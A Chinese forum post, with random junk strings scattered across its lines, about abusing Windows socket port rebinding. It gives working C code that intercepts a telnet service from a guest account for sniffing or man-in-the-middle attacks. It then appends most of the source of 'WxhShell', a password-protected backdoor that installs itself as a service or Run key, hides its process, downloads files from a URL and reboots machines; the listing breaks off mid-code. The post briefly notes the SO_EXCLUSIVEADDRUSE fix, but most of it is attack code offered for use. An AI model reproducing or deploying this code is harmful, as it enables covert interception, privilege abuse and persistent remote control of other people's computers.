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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hO[3Z ^X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a,7 &"  
@/UfD ye  
  saddr.sin_family = AF_INET; [\R>Xcu>  
q8ImrC.'^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -6 sW6;Q  
2u?zO7W)-L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bAr` E  
D5?phyC[Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [@fz1{*  
wNE$6  
  这意味着什么?意味着可以进行如下的攻击: zX{.^|  
EC<b3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D=RU`?L  
3 ?&h^UX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  BGzI  
@ \2#Dpr  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `Pc3?~>0HH  
R.s|j=  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `P@- %T  
]IJv-(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 buk=p-oi  
l2hG$idC  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wcDjg&:=ml  
"8V{5e!%j'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V,%L ~dI  
SK$Vk[c]  
  #include 2>em0{e  
  #include ,)~E>[=+  
  #include [&Hkn5yq  
  #include    f c6g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >uJ/TQU  
  int main() x O7IzqY  
  { rsa&Oo D>  
  WORD wVersionRequested; )R{UXk3q}  
  DWORD ret; jw6Tj;c  
  WSADATA wsaData; 7 gB{In0  
  BOOL val; /)uM[ dnai  
  SOCKADDR_IN saddr; NE|[o0On  
  SOCKADDR_IN scaddr; 0=v{RQ;W4  
  int err; *Dr5O9Y  
  SOCKET s; +pqM ^3t|y  
  SOCKET sc; pJ, @Y>  
  int caddsize; Y|0ow_oH  
  HANDLE mt; VanB>|p6  
  DWORD tid;   }gf}eH  
  wVersionRequested = MAKEWORD( 2, 2 ); `Iy4=nVb  
  err = WSAStartup( wVersionRequested, &wsaData ); p SN~DvR  
  if ( err != 0 ) { b~7drf  
  printf("error!WSAStartup failed!\n"); h7qBp300  
  return -1; MEwdw3  
  } |)_-Bi;MW`  
  saddr.sin_family = AF_INET; :u%$0p>  
   >CgO<\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \|Dei);k  
GO5~!g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _>bRv+RVR  
  saddr.sin_port = htons(23); TA}UY7v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EEf ]u7  
  { R_D c)  
  printf("error!socket failed!\n"); )"O{D`uX  
  return -1; 6&2LWaWMo$  
  } ;)!"Ty|  
  val = TRUE; G5]1s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9 -jO,l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) KO]N%]:&~  
  { w\|Ei(  
  printf("error!setsockopt failed!\n"); \Rk$t7ZH  
  return -1; p*;Qz  
  } "EftN5?/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qg,Nb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zXc}W*ymj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xQt 3[(Z  
a}.Y!O&  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :\V,k~asl  
  { E1>/R  
  ret=GetLastError(); |Svk^mq  
  printf("error!bind failed!\n"); S-E++f9D~  
  return -1; 6 o[/F3`  
  } ,&a`d}g&G  
  listen(s,2); "2HY5 AE  
  while(1) 4?]oV%aP)  
  { T<jfAE  
  caddsize = sizeof(scaddr); wFlV=!>,  
  //接受连接请求 iH)Nk^   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P6?0r_Y  
  if(sc!=INVALID_SOCKET) !eD+GDgE]  
  { L{ ^4DznI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); , &' Y  
  if(mt==NULL) =v"xmx&4  
  { `"y{;PCt_  
  printf("Thread Creat Failed!\n"); >BqCkyM9Kf  
  break; Z^tGu7x  
  } ged,>  
  } gAE!a Ky  
  CloseHandle(mt); kC^.4n om  
  } StQ@g  
  closesocket(s); QdDtvJLf  
  WSACleanup(); ,# "(Z  
  return 0; oK-!(1A-  
  }   IbdM9qo7  
  DWORD WINAPI ClientThread(LPVOID lpParam) A'eAu  
  { t;Wotfc[#0  
  SOCKET ss = (SOCKET)lpParam; NoW!xLI  
  SOCKET sc; B/YcSEY;  
  unsigned char buf[4096]; A_r<QYq0|  
  SOCKADDR_IN saddr; StM/  
  long num; }]h \/,  
  DWORD val; Lk(S2$)*  
  DWORD ret; 2bA#D%PHD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zv%J=N$G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZzL@[g  
  saddr.sin_family = AF_INET; F2oJ]th.3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^L O]Z  
  saddr.sin_port = htons(23); 3YTIH2z 5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5 ;vC(Go  
  { +Hyk'=.W  
  printf("error!socket failed!\n"); e(\Q)re5Q  
  return -1; zHx mA  
  } 9A;6x$s  
  val = 100; wA0eG@xi)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o8D{dS>,PL  
  { vw r RZ"2  
  ret = GetLastError(); @6%gIsj<H  
  return -1; 2YIF=YWO},  
  } G)+Ff5e0L[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6D*chvNA;  
  { Z ps&[;R$-  
  ret = GetLastError(); i]M"Cu*  
  return -1; EX 9Z{xX  
  } ?Leyz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?Y!U*& 7  
  { 2}`R"MeS  
  printf("error!socket connect failed!\n"); }1rvM4{/+f  
  closesocket(sc); i/: 5jI|  
  closesocket(ss); +v1-.z  
  return -1; Dm4B  
  } F^sw0 .b  
  while(1) h3t$>vs2F"  
  { j#o3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %AgA -pBp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $eCGez<E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +wts 7,3  
  num = recv(ss,buf,4096,0); l4 `^!  
  if(num>0)  ("F)  
  send(sc,buf,num,0); 5&|5 a} 8  
  else if(num==0) NTVHnSoHh  
  break; ,Qo}J@e(  
  num = recv(sc,buf,4096,0); nhT;b,G.Z  
  if(num>0) z.59]\;U>  
  send(ss,buf,num,0); _@|fva&s,;  
  else if(num==0) AgI>  
  break; HwW6tQ  
  } Gy^FrF   
  closesocket(ss); g =x"cs/[  
  closesocket(sc); z"av|(?d  
  return 0 ; d q pgf@  
  } =jG?v'X  
G:hU{S7  
a],h<wGEx  
========================================================== d"!yD/RD  
_jDS"  
下边附上一个代码,,WXhSHELL Ge~,[If+  
%ph"PR/t?  
========================================================== 7%tR&F -u  
THr8o V5  
#include "stdafx.h" c'~[!,[b<  
Ut':$l=  
#include <stdio.h> ~%KM3Vap  
#include <string.h> Uir*%*4:  
#include <windows.h> ?+Hp?i$1  
#include <winsock2.h> kXCY))vnn  
#include <winsvc.h> )DRkS,I  
#include <urlmon.h> 4n4j=x]@  
\AHY[WKx  
#pragma comment (lib, "Ws2_32.lib") ,M{Q}:$+4  
#pragma comment (lib, "urlmon.lib") Rj&qh`  
'oCm.~;_  
#define MAX_USER   100 // 最大客户端连接数 2b!j.T#u  
#define BUF_SOCK   200 // sock buffer *k!(ti[  
#define KEY_BUFF   255 // 输入 buffer 9 c6'  
RCCv>o  
#define REBOOT     0   // 重启 qTS @D  
#define SHUTDOWN   1   // 关机 T(&kXMaB  
BP:(IP!&  
#define DEF_PORT   5000 // 监听端口 CX.SYr&!R  
SLg+H  
#define REG_LEN     16   // 注册表键长度 Q-jf8A]  
#define SVC_LEN     80   // NT服务名长度 hLSTSD}  
G#'Q~N  
// 从dll定义API drs-mt8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Vl4Z_viNH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !+=Zjm4L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |a>}9:g,=*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y.(v{l  
Q;Q%SI`yT  
// wxhshell配置信息 99a \MH`^  
struct WSCFG { 8Kk3_ y  
  int ws_port;         // 监听端口 ^pN 5NwC5  
  char ws_passstr[REG_LEN]; // 口令 OH0S2?,{>  
  int ws_autoins;       // 安装标记, 1=yes 0=no FQ0KU b}0  
  char ws_regname[REG_LEN]; // 注册表键名 ~JAjr(G#o  
  char ws_svcname[REG_LEN]; // 服务名 /=q.tDH=I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F G3Sk!O6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,zD_% ox  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * *.:)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h)^dB,~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RA} U#D:$i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w LpkUa  
}$<^wt  
}; v7L"`  
ZWFG?8lJ  
// default Wxhshell configuration #n=A)#'my  
struct WSCFG wscfg={DEF_PORT, [f=.!\0\  
    "xuhuanlingzhe", MSK'2+1T@g  
    1, yAAG2c4(  
    "Wxhshell", kq>GMUl~@  
    "Wxhshell", ](_{,P  
            "WxhShell Service", Ny.*G@&  
    "Wrsky Windows CmdShell Service", _yNT=#/  
    "Please Input Your Password: ", LSSW.Oz2L  
  1, %V31B\]Nz7  
  "http://www.wrsky.com/wxhshell.exe", r?>Vx -  
  "Wxhshell.exe"  gm(De9u  
    }; 'YBi5_  
|PI)A`  
// 消息定义模块 C1KfXC*|L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z^{+,$H@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ix^gAot  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E2kW=6VO>|  
char *msg_ws_ext="\n\rExit."; ;*W=c   
char *msg_ws_end="\n\rQuit."; OI*ZVD)J  
char *msg_ws_boot="\n\rReboot..."; DCt\E/  
char *msg_ws_poff="\n\rShutdown..."; | xp$OL"a  
char *msg_ws_down="\n\rSave to "; Hw\([j*  
*}>Bkq9h  
char *msg_ws_err="\n\rErr!"; lxo.,n)  
char *msg_ws_ok="\n\rOK!"; .\Ul!&y  
^p$1D  
char ExeFile[MAX_PATH]; L{Q4=p,A  
int nUser = 0; pF|8OB%  
HANDLE handles[MAX_USER]; Ze#Jhn@  
int OsIsNt; Ir!2^:]!  
] xb]8]  
SERVICE_STATUS       serviceStatus; <nj IXa{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {d^Q7A:`  
-xw 98  
// 函数声明 y!SF/i?Py  
int Install(void); r@olC7&  
int Uninstall(void); 6`_!?u7  
int DownloadFile(char *sURL, SOCKET wsh); u\M4`p!g=  
int Boot(int flag); nDyvX1]  
void HideProc(void); Vu_&~z7h  
int GetOsVer(void); Z "-ntx#  
int Wxhshell(SOCKET wsl); 4pLQ"&>}80  
void TalkWithClient(void *cs); f( ]R/'o  
int CmdShell(SOCKET sock); mPckf  
int StartFromService(void); RV( w%g  
int StartWxhshell(LPSTR lpCmdLine); %I_&Ehu  
G XarUjs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yr5iZ~V$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {EOn r1  
C5>{Q:.`e'  
// 数据结构和表定义 XI]OA7Zis  
SERVICE_TABLE_ENTRY DispatchTable[] = hN& yc  
{ 03~+-h& n  
{wscfg.ws_svcname, NTServiceMain}, ^uC"dfH  
{NULL, NULL} CKx\V+\O  
}; 4Y`! bT`  
EfFj!)fz  
// 自我安装 F#jCEq  
int Install(void) A * a{  
{ Jz=;mrW  
  char svExeFile[MAX_PATH]; =*{ K@p_  
  HKEY key; w}IL 8L(D  
  strcpy(svExeFile,ExeFile); / c +,  
N{ : [/  
// 如果是win9x系统,修改注册表设为自启动 #:]vUQ  
if(!OsIsNt) {  yQ<6p3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _2]e1_=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F<h&3  
  RegCloseKey(key); $eK8GMxZ#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J f\Qf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?nB he lW^  
  RegCloseKey(key); 2ZU@>W  
  return 0; ''$`;?t>  
    } & 6`  
  } PXOrOK  
} T^KCB\\<  
else { 2.^7?ok  
 qJsQb  
// 如果是NT以上系统,安装为系统服务 .Q l;(Wyl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %T3j8fC{s  
if (schSCManager!=0) hCU)W1q#  
{ p#ZMABlE,P  
  SC_HANDLE schService = CreateService K.:6YXVs<  
  ( ;[?J5X,  
  schSCManager, |hu"5*  
  wscfg.ws_svcname, 2v"wWap-+  
  wscfg.ws_svcdisp, r$b:1C~  
  SERVICE_ALL_ACCESS, !JT< (I2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gUks O!7^1  
  SERVICE_AUTO_START, Rg%R/p)C  
  SERVICE_ERROR_NORMAL, hp?ad  
  svExeFile, &i4 (s%z#  
  NULL,  rE/}hHU  
  NULL, =@bXGMsV!  
  NULL, ;e&hM\p  
  NULL, Q'FX:[@x-S  
  NULL DH}s1mNMP  
  ); uU8*$+ "  
  if (schService!=0) PFImqojHd  
  { L4>14D\  
  CloseServiceHandle(schService); jeu'K vhe  
  CloseServiceHandle(schSCManager); aZN?V}^+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FDMQ Lxf  
  strcat(svExeFile,wscfg.ws_svcname); Zhfp>D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~}.C*;J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rNP;53FtZl  
  RegCloseKey(key); ZcN0:xU  
  return 0; 6}^x#9\  
    } I-]G{  
  } ]9oj,k  
  CloseServiceHandle(schSCManager); -9b=-K.y  
} _3`G ZeGV  
} kL'4m  
~H}Z;n]H  
return 1; T lXS}5^  
} C4mkt2Eb0a  
gP% <<yl  
// 自我卸载 3:,%># "  
int Uninstall(void) !>sA.L&=  
{ X-\$<DiJGv  
  HKEY key; 9q`Ewj R  
QVT0.GzR  
if(!OsIsNt) { e>MtDJ5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2{ F-@}=  
  RegDeleteValue(key,wscfg.ws_regname); |]&3*%b@  
  RegCloseKey(key); LJeq{Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #{6VdWZ  
  RegDeleteValue(key,wscfg.ws_regname); xWxHi6U(  
  RegCloseKey(key); *~PB  
  return 0; LIDi0jbrq  
  } S5).\1m h[  
} j gV^{8qG  
} eDo4>k"5  
else { :Gz$(!j1.'  
h-.^*=]R6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uA`e  
if (schSCManager!=0) #WA7}tHb  
{ Eoz/]b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ym p*:lH(  
  if (schService!=0) Bl)D/  
  { '>OEQU5-  
  if(DeleteService(schService)!=0) { )1 @v<I  
  CloseServiceHandle(schService); !}A`6z  
  CloseServiceHandle(schSCManager); 4P C'7V=S  
  return 0; \>T1&JT  
  } ]Y & 2&  
  CloseServiceHandle(schService); z@~Z Mk  
  } 8<Nz34Y  
  CloseServiceHandle(schSCManager); 0?R$>=u  
} /3+E-|4s  
} 0$XrtnM  
W9Us I  
return 1; vU/sQt8  
} 2+|r*2_glo  
Gj#BG49g2  
// 从指定url下载文件 )p!") :'fv  
int DownloadFile(char *sURL, SOCKET wsh) `U?S 9m  
{ mGz'%?zj  
  HRESULT hr; sS)tSt{C  
char seps[]= "/"; zv1,DnkqF  
char *token; v&sp;%I6=  
char *file; cLp9|y0r  
char myURL[MAX_PATH]; WnQ'I=E#~  
char myFILE[MAX_PATH]; \#h=pz+jb  
Jx3a7CpX  
strcpy(myURL,sURL); 7DW-brd   
  token=strtok(myURL,seps); )W@  
  while(token!=NULL) L7II>^"B  
  { R^E-9S\@  
    file=token; WUDXx %  
  token=strtok(NULL,seps); 7Aw <:  
  } J_ h\tM  
8=\k<X{`  
GetCurrentDirectory(MAX_PATH,myFILE); v@X[0J_8  
strcat(myFILE, "\\"); Mc  
strcat(myFILE, file); JjAO9j%  
  send(wsh,myFILE,strlen(myFILE),0); }WQ:Rmi  
send(wsh,"...",3,0); qyIy xJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <^Q` y  
  if(hr==S_OK) EU5(s*A  
return 0; +SRM?av  
else rI:]''PR  
return 1; F7p`zf@O]  
X bV?=  
} (_q&QI0{  
d{^K8T3  
// 系统电源模块 7")&njQ/x  
int Boot(int flag) ^-}3 +YA  
{ lZ+ 1 A0e  
  HANDLE hToken; .b%mr:nEt7  
  TOKEN_PRIVILEGES tkp; ]sI{ +$~:c  
|qk%UN<  
  if(OsIsNt) { 51%<N\>/4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D@mqfi(x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m<9W#  
    tkp.PrivilegeCount = 1; ,g)9ZP.F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w68VOymD/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V[| k:($  
if(flag==REBOOT) { -}JRsQ+rgM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) atFu KYI  
  return 0; FLlL0Gu  
} I8hmn@ce  
else { YAF0I%PYU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qr/N?,  
  return 0; \AR3DDm  
} 6 dCqS  
  } iu,Bmf^oD  
  else { ffQ&1T<  
if(flag==REBOOT) { H Lt;1:b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E}w<-]8  
  return 0; PI" )^`  
} j%&^qD,  
else { iQaFR@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f1VA61z{)  
  return 0; 20uR?/|@  
} *r3u=oWb  
} -aMwC5iR@  
K[|d7e  
return 1; jdDcmR  
} Xp3cYS*u  
dv \ oVD  
// win9x进程隐藏模块 d7QQ5FiB  
void HideProc(void) 4VL]v9  
{ {Q~A;t  
HaamLu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jZY9Lx8o  
  if ( hKernel != NULL ) >^Z!  
  { `Tf<w+H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :!EOg4%i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l:kF0tj"  
    FreeLibrary(hKernel); tU7eW#"w  
  } A&0sD}I\K  
Uz!cVs?-  
return; 7,"1%^tU  
} v4< x 4  
dTP$7nfe  
// 获取操作系统版本 *o[*,1Pw  
int GetOsVer(void) L``K. DF  
{ P3YG:*  
  OSVERSIONINFO winfo; bs mnh_YRj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Om2 )$(  
  GetVersionEx(&winfo); (iiyptJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tL4xHa6v]  
  return 1; ^Sr`)vP  
  else 0)qLW& w  
  return 0; SIRZ_lt$r  
} R\=y/tw0H  
:FdV$E]]<  
// 客户端句柄模块 *K\/5Fzl  
int Wxhshell(SOCKET wsl) UkL'h&J~  
{ f-6E>  
  SOCKET wsh; ^\\cGJ&8c  
  struct sockaddr_in client; T3{qn$t8  
  DWORD myID; jX{lo  
$wVY)p9Q  
  while(nUser<MAX_USER) DI!l.w5P_  
{ nyPA`)5F0  
  int nSize=sizeof(client); GRj{*zs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gGdZ}9  
  if(wsh==INVALID_SOCKET) return 1; ZA ii"F  
 o*QhoDjc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^f1}:g  
if(handles[nUser]==0) fr\UX}o  
  closesocket(wsh); @,sg^KB  
else ? B^*YCo7(  
  nUser++; 4 ITSDx  
  } 15gI-Qb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1}!f.cWV(  
=RUKN38  
  return 0; 0:nQGX!N  
} t9x.O  
*4[3?~_B#6  
// 关闭 socket kF.PLn'iS  
void CloseIt(SOCKET wsh) PxK  
{ {{=7mbc  
closesocket(wsh); QkzPzbF"  
nUser--; `&>!a  
ExitThread(0); w>rglm&  
} f.'o4HSj  
./ib{ @A.  
// 客户端请求句柄 ^QV;[ha,o  
void TalkWithClient(void *cs) A0WQZt!FEN  
{ M>_S%V4a  
t/S~CIA  
  SOCKET wsh=(SOCKET)cs; mnXaf)"  
  char pwd[SVC_LEN]; H, =??wN  
  char cmd[KEY_BUFF]; poHDA=# 3  
char chr[1]; '&T4ryq3"  
int i,j; lTdYPqMi  
r"rID RQ"  
  while (nUser < MAX_USER) { Mp$ uEi  
$K8ZxH1z@  
if(wscfg.ws_passstr) { c#`Z[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S3j/(BG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M* QqiE  
  //ZeroMemory(pwd,KEY_BUFF); kAbT&Rm"  
      i=0; JVTG3:zD  
  while(i<SVC_LEN) { 2@ACmh  
oChcEx%  
  // 设置超时 WE`Y!  
  fd_set FdRead; |2c'0Ibu  
  struct timeval TimeOut; Q9#$4  
  FD_ZERO(&FdRead); O*yc8fUI  
  FD_SET(wsh,&FdRead); {q8V  
  TimeOut.tv_sec=8; R`>E_SY  
  TimeOut.tv_usec=0; [N#2uo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Cg21-G .  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qdj,Qz9ly  
9[6*FAFJPP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rxCu V  
  pwd=chr[0]; <h7C_^L10\  
  if(chr[0]==0xd || chr[0]==0xa) { l= !KZaH  
  pwd=0; vM\8>p*U  
  break;  HPwmi[  
  } {v]A`u)  
  i++; c+|,2e 0T  
    } %qfEFhRC  
>48zRi\N  
  // 如果是非法用户,关闭 socket I#S6k%-'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0Km{fZYq7;  
} {?BxVDD07  
XRj<2U 5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cKK 1$x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6]Ppa ~Xwq  
tq>QZEg  
while(1) { eyl+D sK  
D,1S-<  
  ZeroMemory(cmd,KEY_BUFF); uj;-HN)6  
<tgJ-rnL  
      // 自动支持客户端 telnet标准   [al$7R&  
  j=0; 4(  ^Ht  
  while(j<KEY_BUFF) { ,n ~H]66 n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*~zdZ p  
  cmd[j]=chr[0]; 7PP76$  
  if(chr[0]==0xa || chr[0]==0xd) { .wS' Xn&  
  cmd[j]=0; xk.\IrB_  
  break; }3^t,>I=,6  
  } Scs \nF2  
  j++; B7T(9Tj+Fh  
    } M_UhFY='  
OES+BXGX  
  // 下载文件 i>q]U:U  
  if(strstr(cmd,"http://")) { g;eMsoJG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IM)\-O\Wd  
  if(DownloadFile(cmd,wsh)) @y)-!MHN(8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z+NXD4  
  else VwHTtZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hq$:62NYg  
  } 2Wq)y1R<T  
  else { ^B> 4:+^  
m/%sBw\rx  
    switch(cmd[0]) { 07# ~cVI  
  !1)lGjMW  
  // 帮助 Sep}{`u  
  case '?': { +@AN+!(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p?=rQte([  
    break; +!dIEt).U  
  } (PE"_80Z  
  // 安装 pvP|.sw5G  
  case 'i': { r/+ <_3  
    if(Install()) (?I8/KYR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #U(dleT8  
    else |z Gwt Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 70a7}C\/o  
    break; "+r8izB  
    } 7oh6G  
  // 卸载  ]6W#P7  
  case 'r': { B.;/N220P  
    if(Uninstall()) -`FTWH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)zSjFX9  
    else HpuHJ#l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BRFA%FZ,  
    break; %{5mkO&,2  
    } FSIV\ u  
  // 显示 wxhshell 所在路径 d1D{wZ3g  
  case 'p': { t!AHTtI  
    char svExeFile[MAX_PATH]; P[?~KNS:/  
    strcpy(svExeFile,"\n\r"); W(1p0|WQ:  
      strcat(svExeFile,ExeFile); Fla,#uB  
        send(wsh,svExeFile,strlen(svExeFile),0); QrHI}r  
    break; [F*t2 -ta  
    } X'IW &^kI  
  // 重启 'kL>F&|  
  case 'b': { {Z3B#,V(g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (p-a;.Twj  
    if(Boot(REBOOT)) Bk?3lwCT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j$n[; \]n  
    else { wz$1^ml  
    closesocket(wsh); /^ hB6_'D  
    ExitThread(0); }.$oZo9J  
    } }rxFX  
    break; o2@8w[r  
    } O (<Wn-  
  // 关机 _}EGk4E  
  case 'd': { mfIY7DP  
